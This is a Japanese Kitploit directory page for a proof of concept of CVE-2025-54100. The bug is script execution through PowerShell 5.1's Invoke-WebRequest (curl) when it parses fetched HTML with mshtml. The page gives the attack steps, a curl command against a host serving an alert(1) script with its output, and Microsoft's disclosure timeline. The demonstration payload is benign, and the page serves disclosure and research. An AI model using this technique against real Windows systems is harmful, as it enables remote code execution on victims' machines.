Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-54100 — CVE-2025-54100の概念実証(PoC):PowerShellのInvoke-WebRequestにおけるmshtml.HTMLDocumentClassを介したXSS。悪意のあるJavaScriptをcurlで取得する際にリモートコード実行を可能にします。 | Kitploit
ツール/GitHubGitHub/osman1337-security/cve-2025-54100
脆弱性分析エクスプロイトウェブセキュリティコマンド&コントロールリモートアクセスツール
GitHubosman1337-security/cve-2025-54100

CVE-2025-54100

CVE-2025-54100の概念実証(PoC):PowerShellのInvoke-WebRequestにおけるmshtml.HTMLDocumentClassを介したXSS。悪意のあるJavaScriptをcurlで取得する際にリモートコード実行を可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
2357ヶ月前Kitploit レビュー済み

CVE-2025-54100

PowerShellのcurlは内部でInvoke-WebRequestを使用しています。

root@kitploit:~
PS C:\Users\melih> curl

cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5

UseBasicParsingパラメータのドキュメントを見ると、

このパラメータは非推奨になりました。PowerShell 6.0.0以降、すべてのWebリクエストは基本解析のみを使用します。このパラメータは下位互換性のためにのみ含まれており、使用してもコマンドレットの動作に影響はありません。

問題は、PowerShellのInvoke-WebRequestコマンドレットのUseBasicParsingにあります。UseBasicParsingは基本解析を使用し、JavaScriptコードを一切評価しません。単にテキストを読み取って解析するだけです。

このパラメータが指定されない場合、Invoke-WebRequestは内部でInternet Explorerを起動し、mshtml.HTMLDocumentClassを使用してHTMLコードを実際に評価しながら解析しようとします。JavaScriptコードをホストしているウェブサイトにcurlリクエストを行うと、クライアントのブラウザ上でコードが実行される結果になります。今回の場合はそれがWindowsターミナルです。

mshtml.HTMLDocumentClassのドキュメントは以下にあります。

https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument

上記の最初のドキュメントからライフサイクルを見ると、次のことがわかります。

Windows PowerShell 5.1 2016年8月 Windows 10 Anniversary UpdateおよびWindows Server 2016、WMF 5.1でリリース PowerShell 6.0 2018年1月20日~2019年2月13日 .NET Core 2.0上で構築

調査の結果、Windows 11、Server 22、25の最新バージョンには古いバージョンのPowerShell(5.1がデフォルト)が同梱されており、XSS攻撃に対して脆弱であることがわかりました。

新しいWindows Server 22のインストール、 画像

PoC

攻撃は非常に簡単です。

  • スクリプトペイロードをホストするウェブサイトを用意する。
  • それにcurlを実行すると、実行結果が表示されます。

画像

root@kitploit:~
PS C:\Users\melih> curl 172.27.223.167:8000/a.js


StatusCode        : 200
StatusDescription : OK
Content           : <script>alert(1)</script>

RawContent        : HTTP/1.0 200 OK
                    Content-Length: 26
                    Content-Type: text/javascript
                    Date: Tue, 09 Dec 2025 15:50:40 GMT
                    Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
                    Server: SimpleHTTP/0.6 Python/3.12.3

                    <script>a...
Forms             : {}
Headers           : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
                    2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 26


工夫次第でopen("about:blank")のようなことも実行できます。

画像

また、これは信頼性の高い実行やブラウザのレンダリングを強制するために、ブラウザエクスプロイトなどのより大きなチェーンで使用される可能性があることも考慮すべきです。

MSRC 更新タイムライン

  • 2025年10月15日 – 脆弱性がMSRC経由でMicrosoftセキュリティチームに提出されました。
  • 2025年10月16日 – チームから報告書のレビューを開始したとの連絡がありました。
  • 2025年11月17日 – チームが脆弱性を確認し、修正することを通知しました。MSRCチームからの完全なメッセージ: 「報告いただいた動作を確認しました。私たちは引き続き調査を進め、この問題への対処方法を決定します。調査に役立つ追加情報やご質問があればお知らせください。」
  • 2025年11月25日 - 報告書はSeverity: Important、Security Impact: Remote Code Executionに分類され、$5,000の報奨金が授与されました。

画像

ツールをダウンロード